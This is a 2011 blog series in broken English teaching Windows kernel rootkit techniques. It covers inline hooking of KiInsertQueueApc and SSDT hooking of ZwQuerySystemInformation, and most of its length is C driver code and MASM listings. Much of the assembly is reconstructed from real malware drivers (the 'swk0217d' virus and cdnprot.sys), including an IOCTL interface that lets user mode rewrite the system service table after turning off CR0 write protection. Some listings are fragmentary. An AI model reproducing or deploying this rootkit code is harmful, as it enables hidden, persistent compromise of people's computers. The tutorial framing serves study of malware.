Thursday, October 13, 2011

Learn and study Rootkit Specials 9: kernel hook - inline hook(2)

3)Two-dimensional array is used to save function front byte, Array form is array[15][30];
  Each function have 30 bytes usable on 15 function. First save orginal function front byte on 30 bytes, Then write 0xe9, Continue write array current place with original hook function address offset that we already copy bytecode after place among re;atove offset value.
  The array effect, when after hook function, execute to finish our hook function, Then need recover original api function, Because original api function front five bytes already is rewrite,  function original front byte already save to appropriate array, So there idea is, execute machine code on the array, array machine code execute to the end, jump to original function some offset place, continue to execute.

3.  Inline hook
1)  IoAllocateMdl ,Allocate one mdl, Hook function is mapping to here.
2)  MmProbeAndLockPages, Lock page
3)  do away with write-protect
4)  Save function front machine code to homologous  two-dimensional array, rewrite front five bytes, Let is jump to start address on .data:00034E98 jump table homologous jump function.
5)  Recover write-protect
6)  MmUnlockPages
7)  IoFreeMdl

4.  Revover After Inline hook

The example is hook了KiInsertQueueApc, Because KiInsertQueueApc isn't export, need find on KeInsetQueueApc.
#include <ntddk.h>
#include <ntifs.h>
ULONG g_KiInsertQueueApc;
char g_oricode[8];
ULONG g_uCr0;
char *non_paged_memory;

void WPOFF()
    ULONG uAttr;
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
    g_uCr0 = uAttr; //Save original CR0

        push eax;
        mov eax, g_uCr0; //Recover orginal CR
        mov cr0, eax;
        pop eax;

__declspec(naked) my_function_detour_KiInsertQueueApc()
    mov edi,edi
    push ebp
    mov  ebp, esp
    push ecx
    mov eax,ecx
    _emit 0xEA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0x08
    _emit 0x00

ULONG GetFunctionAddr( IN PCWSTR FunctionName)
    UNICODE_STRING UniCodeFunctionName;
    RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
    return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );  


// 根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc
ULONG FindKiInsertQueueApcAddress()
  char * Addr_KeInsertQueueApc = 0;
  int i = 0;
  char Findcode[] = { 0xE8, 0xcc, 0x29, 0x00, 0x00 };
  ULONG Addr_KiInsertQueueApc = 0;
    Addr_KeInsertQueueApc = (char *) GetFunctionAddr(L"KeInsertQueueApc");
  for(i = 0; i < 100; i ++)
        if( Addr_KeInsertQueueApc[i] == Findcode[0] &&
      Addr_KeInsertQueueApc[i + 1] == Findcode[1] &&
      Addr_KeInsertQueueApc[i + 2] == Findcode[2] &&
      Addr_KeInsertQueueApc[i + 3] == Findcode[3] &&
      Addr_KeInsertQueueApc[i + 4] == Findcode[4]
      Addr_KiInsertQueueApc = (ULONG)&Addr_KeInsertQueueApc[i] + 0x29cc + 5;
  return Addr_KiInsertQueueApc;

VOID DetourFunctionKiInsertQueueApc()

  char *actual_function = (char *)g_KiInsertQueueApc;
  unsigned long detour_address;
  unsigned long reentry_address;
  KIRQL oldIrql;
  int i = 0;

  char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };

  reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8;

  non_paged_memory = ExAllocatePool(NonPagedPool, 256);
    ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_KiInsertQueueApc)[i];

  detour_address = (unsigned long)non_paged_memory;
  *( (unsigned long *)(&newcode[1]) ) = detour_address;

    if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
      *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;

    oldIrql = KeRaiseIrqlToDpcLevel();
  for(i=0;i < 8;i++)
    g_oricode[i] = actual_function[i];
    actual_function[i] = newcode[i];

VOID UnDetourFunction()
    char *actual_function = (char *)g_KiInsertQueueApc;
  KIRQL oldIrql;
  int i = 0;
  oldIrql = KeRaiseIrqlToDpcLevel();

  for(i=0;i < 8;i++)
    actual_function[i] = g_oricode[i];

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
  DbgPrint("My Driver Unloaded!");

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload;
    g_KiInsertQueueApc = FindKiInsertQueueApcAddress();


Wednesday, October 12, 2011

Learn and study Rootkit Specials 8: kernel hook - inline hook(1)

Recently in order to write rootkit inline hook article, specially disassemble famous rougue software(cdnprot.sys), The file is huge - 152k, Take my some overnight, Let me less watch tv play, The software use many good technology, anyway, Technology isn't wrong itself. Because we talk theme about Inline hook today, only lead everybody watch how he use the technology of inline hook.

What is inline hook, The basic concepts, We won't talk on here, May use google to search.
Inline hook is used very easily and simple on ring3, but this is trouble on ring0,BSOD will show when wrong to use. We talk inline hook on kernel today, Let us watch that how to use.

First talk thinking:

1.  One of the preparation before hook:
In total hook fifteen native api function on the software. They are:
ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,
ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.

On the fifteen function, include two undocumented function, ZwCreateThread, ZwTerminateThread,The two function need find on export table from ntdll.dll.  Other, All native api function finaly realize both on ntoskrnl module, So we use  functional 0B number of fuZwQuerySystemInformation, find memory load place of ntoskrnl, Then one by one judge these need hook function address on ssdt table, Whether on place. Ensure to use first.

2.  One of the preparation before hook:
1)One global function table, save need hook fifteen function original address.
The table start address: .data:00036860, Ending: data:0003689C 60 bytes in total.
2)One hook function address table, part corresponding to jump of hook fifteen function.
The table start address: .data:00034E98
.data:00034E98 off_34E98        dd offset sub_1EEA8   
.data:00034E9C                 dd offset sub_1EE82
.data:00034EA0                 dd offset sub_1EF82
.data:00034EA4                 dd offset sub_1EF4A
.data:00034EA8                 dd offset sub_1EF6D
.data:00034EAC                 dd offset sub_1EEC1
.data:00034EB0                 dd offset sub_1EED2
.data:00034EB4                 dd offset sub_1EEF5
.data:00034EB8                 dd offset sub_1EF31
.data:00034EBC                 dd offset sub_1EF18
.data:00034EC0                 dd offset sub_1EF93
.data:00034EC4                 dd offset sub_1EFA8
.data:00034EC8                 dd offset sub_1EFBD
.data:00034ECC                 dd offset sub_1EFE6
.data:00034ED0                 dd offset sub_1EFFF

The function both realize on cdnprot.sys.

Tuesday, October 11, 2011

Sorry,Can't update

Because friend come in, So can't update, Sorry.

Monday, October 10, 2011

Too tried, Rest one day.

I am work every day, Too tried, So rest one day.

Sunday, October 9, 2011

Learn and study Rootkit Specials 7: kernel hook - SSDT hook(3)

; Give a index value and function address, Modify ssdt table
HookSSDTByFunIndex proc Value:dword,Index:dword
  mov  ecx, Index
  mov  eax, KeServiceDescriptorTable
  cmp  ecx, [eax+8]  ;NumberOfService
  jb  @f
  xor  al, al
  jmp  Quit
    ;Put off write-protect
  push  eax
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax
  pop  eax
  mov  eax, KeServiceDescriptorTable
  mov  eax, [eax]
  mov  edx, Value; Value
  lea  ecx, [eax+ecx*4] ; Target
  call  InterlockedExchange
  ;Recover write-protect
  push  eax
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  pop  eax
HookSSDTByFunIndex endp

; hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value
HookSSDT proc Value:dword,FunAddr:dword
  push  eax
  ;Put off write-protect
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax 
  pop  eax
  mov  ecx, KeServiceDescriptorTable
  mov  eax, FunAddr
  mov  eax, [eax+1] ;Through ZwQuerySystemInfomation get ssdt index
  mov  ecx, [ecx]   ;ServiceTableBase
  mov  edx, Value   ; Value
  lea  ecx, [ecx+eax*4] ; Target
  call  InterlockedExchange
  mov  ecx, eax
  push  eax
  ;recover write-protect
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  pop  eax
  mov  eax, ecx
HookSSDT endp

SourceString wchar L(<\\DosDevices\\Swk0217\0>)

swkUnLoad proc pDriverObject :dword
  LOCAL DestinationString:UNICODE_STRING

  push  ecx
  push  ecx
  push  offset SourceString ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  mov  eax, pDriverObject
  push  dword ptr [eax+4] ; DeviceObject
  call  IoDeleteDevice
swkUnLoad endp

aNtquerysystemi  db 'NtQuerySystemInformation',0

  push  esi              
  mov  esi, [esp+0Ch]   ;pIrp
  mov  eax, [esi+60h]   ;Take IRP.CurrentStackLocation
  and  dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see
  and  dword ptr [esi+1Ch], 0
  cmp  byte ptr [eax],  0Eh  ;IO_STACK_LOCATION.MajorFunction
  mov  edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  push  edi
  jnz  CreateAndClose
  mov  eax, [eax+0Ch]       ;IoControlCode
  cmp  eax, 83471060h      
  jz  GetSSDTNum           ;Take out ssdt function count
  cmp  eax, 83471064h
  jz  GetSSDTFunction      ;Take out ssdt function table
  cmp  eax, 83471068h
  jz  HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
  cmp  eax, 8347106Ch
  jz  RestoreHookSSDT      ;Recover front hook ZwQuerySystemInformation
  cmp  eax, 83471070h
  jz  ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table
  mov  dword ptr [esi+18h], 0C000000Dh  ;IoStatus
  jmp  CreateAndClose
  push  8
  pop  edi
  cmp  ecx, edi  ;Judge InputBufferLength whether equal to 8
  jnz  CreateAndClose
  push  dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index
  push  dword ptr [edx]   ;;The first dword value on SystemBuffer,represent given function address
  call  HookSSDTByFunIndex
  test  al, al
  jz  CreateAndClose
  mov  [esi+1Ch], edi
  jmp  CreateAndClose
RestoreHookSSDT:  ;Recover ssdt table
  mov  eax, OldSSDTValueOfZwQuerySystemInformation
  test  eax, eax
  jz  CreateAndClose
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  HaveDone
  push  ecx
  push  eax
  call  HookSSDT
  and  OldSSDTValueOfZwQuerySystemInformation, 0
  jmp  CreateAndClose
  call  near ptr FunctionArray+0Eh  ;execute  push 24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address
  test  eax, eax
  jz  CreateAndClose
  push  offset aNtquerysystemi     ; "NtQuerySystemInformation"
  push  eax
  call  GetProcessFromNtoskrnl
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  CreateAndClose
  push  ecx
  push  eax
  call  HookSSDT
  mov  OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table
  jmp  CreateAndClose
  mov  eax, KeServiceDescriptorTable
  mov  edi, [eax+8] ;NumberOfService
  push  ebx
  mov  ebx, edi
  shl  ebx, 2       ;NumberOfService*4
  cmp  ecx, ebx     ;Compare import length with NumberOfService*4,Judge apply for buffer whether enough
  pop  ebx
  jb  CreateAndClose
  xor  ecx, ecx
  test  edi, edi
  jbe  GetSSDTFunctionErr
  mov  eax, [eax]
  mov  eax, [eax+ecx*4]
  mov  [edx+ecx*4], eax
  mov  eax, KeServiceDescriptorTable
  inc  ecx
  cmp  ecx, [eax+8]
  jb  GetNextSSDTFunction
  mov  eax, [eax+8]
  shl  eax, 2
  jmp  Quit
  push  4
  pop  eax
  cmp  ecx, eax ;input length <4 jump
  jb  CreateAndClose
  mov  ecx, KeServiceDescriptorTable
  mov  ecx, [ecx+8] ;NumberOfService
  mov  [edx], ecx  ;edx point IRP.AssociatedIrp.SystemBuffer
  mov  [esi+1Ch], eax
  mov  edi, [esi+18h] ;IoStatus
  xor  dl, dl
  mov  ecx, esi
  call  IofCompleteRequest
  mov  eax, edi
  pop  edi
  pop  esi

wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)

start proc DriverObject:dword
  LOCAL DestinationString:UNICODE_STRING
  LOCAL DeviceObject:dword
  and  DeviceObject, 0
  push  esi
  push  edi
  mov  edi, RtlInitUnicodeString
  push  offset wcharDeviceName ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  edi             ; RtlInitUnicodeString
  mov  esi, DriverObject
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  598347h    ; DeviceType
  lea  eax, DestinationString
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  esi    ; DriverObject
  call  IoCreateDevice
  test  eax, eax
  jl  @f
  push  offset wcharSymbolicLink ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  edi ; RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink
  mov  ecx, offset DispatchFunction
  mov  [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
  mov  [esi+40h], ecx ;IRP_MJ_CLOSE
  mov  [esi+38h], ecx ;IRP_MJ_CREATE
  mov  dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
  pop  edi
  pop  esi
start endp

end start

Saturday, October 8, 2011

Learn and study Rootkit Specials 6: kernel hook - SSDT hook(2)

  ; Example: ImageName: windows\system32\ndis.sys, So ModuleNameOffset is 0x11 
  movzx  eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,Point offset of name
  lea  eax, [eax+esi+1Ch]  ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
  push  eax   ;don't clude path name
  call  _stricmp
  pop  ecx             ;出栈
  pop  ecx
  test  eax, eax
  jnz  ContinueLoop
  mov  eax, [esi+8]    ;return SYSTEM_MODULE_INFORMATION.Base
  mov  [ebp-24h], eax  ;return save on [ebp-24h]
  push  edi
  call  ExFreePool
  jmp      ERRORRET
  inc  dword ptr [ebp-20h] ;Loop variable increas
  add  esi, 11Ch           ;Take next element of SYSTEM_MODULE_INFORMATION type
  mov  [ebp-2Ch], esi      ;Temporary save current SYSTEM_MODULE_INFORMATION element
  jmp  FORLOOP

SehFunction     proc near              
    mov     esp, [ebp-18h]
    or      dword ptr [ebp-4], 0FFFFFFFFh
    mov     eax, [ebp-24h]
SehFunction    endp

; Equivalent to GetProcessAddress function, hModule point ntoskrnl.exe module, Find the PE export table,
; Find function address of pFunctionName.
; Operating principle: Traverse export table's AddressOfFunctions, Every take one function address, In line with it index of AddressOfFunctions中的
;Traverse whole AddressOfNames table and AddressOfNameOrdinals table, Find sequence number to matched function with AddressOfFunctions
;contrast function name and import paramter 2 whether identical, The same return current function address from AddressOfFunctions,
;Different continue find ...
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword

  LOCAL AddressOfNameOrdinals:dword;Function name index talbe
  LOCAL AddressOfNames:dword       ;Function name address talbe
  LOCAL OutputTable:dword          ;Export table address
  LOCAL AddressOfFunctions:dword   ;Point export function address table point
  LOCAL pFunctionName:dword        ;function name
  LOCAL i:dword                    ;loop variable
  LOCAL CurAddressOfNameOrdinals:dword ;Current function name serial number
  LOCAL CurAddressOfNames:dword        ;Current function address
  LOCAL nIndex:dword                   ;loop variable
  LOCAL myFoundOutFunctionName:dword   ;Function pointer is found from function address table
  LOCAL InputFunctionName:dword         ;input function name pointer, point paramter 2
  LOCAL SecondCharacterOfFunctionName:byte
  LOCAL FirstCharacterOfFunctionName:byte
  mov  edx, hModule
  mov  eax, [edx+3Ch]
  add  eax, edx           ; point PEHeader
  cmp  word ptr [edx],  5A4Dh ; 'MZ'
  jnz  Quit
  cmp  dword ptr [eax], 4550h ;'PE'
  jnz  Quit
  mov  eax, [eax+78h]
  add  eax, edx          ;point export
  mov  OutputTable, eax
  mov  edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
  add  edi, edx
  mov  AddressOfNames, edi
  mov  esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
  add  esi, edx
  mov  AddressOfFunctions, esi
  mov  ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
  add  ecx, edx
  mov  AddressOfNameOrdinals, ecx
  and  nIndex, 0
  mov  edx, pFunctionName
  mov  ebx, nIndex
  cmp  ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
  jnb  Quit
  cmp  dword ptr [esi], 0 ;First function addresws judge whether null on AddressOfFunctions
  jz  NextAddressOfFunction          ;If null, Take next function on IMAGE_EXPORT_DIRECTORY.AddressOfFunctions table
  mov  CurAddressOfNames, edi
  mov  CurAddressOfNameOrdinals, ecx
  and  i, 0
  mov  ebx, i
  cmp  ebx, [eax+18h]   ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
  jnb  OutOfRange
  mov  ebx, CurAddressOfNameOrdinals
  movzx  ebx, word ptr [ebx]
  cmp  ebx, nIndex      ;Judge index from AddressOfFunctions to get whether fit  AddressOfNameOrdinals get index
  jnz  NextAddressOfNameOrdinals
  mov  edx, CurAddressOfNames
  mov  edx, [edx]
  add  edx, hModule
  mov  pFunctionName, edx   ;Take function name
  test  edx, edx        ;Judge whether null
  jz  ContinueWork
  mov  myFoundOutFunctionName, edx    ;TS function name
  mov  edx, FunctionName
  mov  InputFunctionName, edx         ;TS imput function name
  mov  edx, InputFunctionName
  mov  dl, [edx]
  mov  FirstCharacterOfFunctionName, dl
  mov  ebx, myFoundOutFunctionName
  cmp  dl, [ebx]
  jnz  Different     ;disaffinity
  test dl, dl       ;Judge InputFunctionName whether null, if null, return first function address table
  jz  RetCurrentFunctionAddress
  mov  edx, InputFunctionName  ;Contrast function name next character
  mov  dl, [edx+1]
  mov  SecondCharacterOfFunctionName, dl
  cmp  dl, [ebx+1]
  jnz  Different
  add  InputFunctionName, 2
  add  myFoundOutFunctionName, 2
  test  dl, dl
  jnz   CompareFunctionName
  xor  edx, edx           ;edx = 0,mean find correspond function
  jmp  GetFunctionAddress
  add  CurAddressOfNames, 4
  add  CurAddressOfNameOrdinals, 2
  inc  i
  jmp  StartFindFunctionFromAddressOfNames
  sbb  edx, edx
  sbb  edx, 0FFFFFFFFh  ;edx = 1,表示没有找到对应的函数,继续找
  test  edx, edx
  jnz  ContinueWork
  mov  esi, [esi]
  add  esi, hModule
  mov  eax, esi      ;return function address
  jmp  Founded
  xor  edx, edx
  mov  pFunctionName, edx
  add  esi, 4
  mov  AddressOfFunctions, esi
  inc  nIndex
  jmp  StartSearch
  xor  eax, eax 
GetProcessFromNtoskrnl endp

Friday, October 7, 2011

Learn and study Rootkit Specials 5: kernel hook - SSDT hook(1)

 Talk about SSDT hook, before have article of <<SSDT Hook的妙用-对抗ring0 inline hook>> by 堕落天才, If do not understand basic concept, You can watch the article.

Today we through example to learn how use, The example root in article by sudami.

The virus use vbs to call driver for finish it. swk0217d's main feature:

1.Take ssdt function count
2.Take all function on ssdt function table
3.hook ZwQuerySystemInformation
4.unhook ZwQuerySystemInformation
5.In line with user given function address and index of ssdt table, Modify ssdt table

1)When hook ZwQuerySystemInformation is executed, First through ZwQuerySystemInformation to found place of ntosknrl.exe module memory load, Then through export table of ntosknrl.exe to find address of NtQuerySystemInformation. Then hook ZwQuerySystemInformation. Author of the virus main objective is prevent SSDT function to be load, So Author recover in here, Author need use this function, But afraid the function already is tampered.

2)When unhook ZwQuerySystemInformation, Recover original ssdt after Virus author use to finish the function.

.model flat,stdcall
option casemap:none

include w2k\
include w2k\

include w2k\
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib

unk_10B80 db  4Eh ; N
          db  0E6h  ; ?
          db  40h  ; @
          db  0BBh  ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0

;              6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0   int3  push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h

; ZwQuerySystemInformation get memory load address of ntoskrnl.exe

;typedef struct _SYSTEM_MODULE_INFORMATION  // Information Class 11
;    ULONG  Reserved[2];  +0
;    PVOID  Base;         +08h
;    ULONG  Size;         +0ch
;    ULONG  Flags;        +10h
;    USHORT Index;        +14h
;    USHORT Unknown;      +16h
;    USHORT LoadCount;    +18h
;    USHORT ModuleNameOffset; +1Ah
;    CHAR   ImageName[256];   +1Ch

;                  ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
;                    IN OUT PVOID SystemInformation,
;                    IN ULONG SystemInformationLength,
;                    OUT PULONG ReturnLength OPTIONAL );

;typedef struct _tagSysModuleList {
;    ULONG ulCount;

;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );

  xor  ebx, ebx
  mov  [ebp-24h], ebx
  mov  [ebp-4], ebx
  lea  eax, [ebp-1Ch]
  push  eax          ;ReturnLength
  push  ebx          ;SystemInformationLength = 0
  lea  eax, [ebp-20h]  
  push  eax          ;SystemInformation
  push  0Bh          ;SystemModuleInformation,ergodic module
  mov  esi, ZwQuerySystemInformation
  call  esi ; ZwQuerySystemInformation ,First call to get need buffer length
  mov  [ebp-28h], eax
  cmp  eax, 0C0000004h
  push  206B6444h ;   ' kdD' lable
  push  dword ptr [ebp-1Ch] ;apply for length
  push  ebx                 ;NonPagedPool
  call  ExAllocatePoolWithTag
  mov  edi, eax
  mov  [ebp-30h], edi   ;Keep return value
  cmp  edi, ebx        ;Judge return value whether is null
  jnz  NextStep
  or  dword ptr [ebp-4], 0FFFFFFFFh
  xor  eax, eax
  jmp  ErrAllocMem
  lea  eax, [ebp-34h]          ;ReturnLength
  push  eax
  push  dword ptr [ebp-1Ch] ;SystemInformationLength
  push  edi                 ;SystemInformation
  push  0Bh                 ;SystemModuleInformation
  call  esi                 ; ZwQuerySystemInformation
  mov  [ebp-28h], eax
  cmp  eax, ebx
  jl  ReleaseMemory
  mov  eax, [edi]
  mov  [ebp-1Ch], eax  ;Keep YSTEM_MODULE_INFORMATION element count by ZwQuerySystemInformation return
  lea  esi, [edi+4] 
  mov  [ebp-2Ch], esi  ;Save firt address array by SYSTEM_MODULE_INFORMATION return 
  mov  [ebp-20h], ebx  ;Count variable zero clearing
  mov  eax, [ebp-1Ch] ;Beging for loop
  cmp  [ebp-20h], eax
  jnb  ReleaseMemory
  push  offset FunctionArray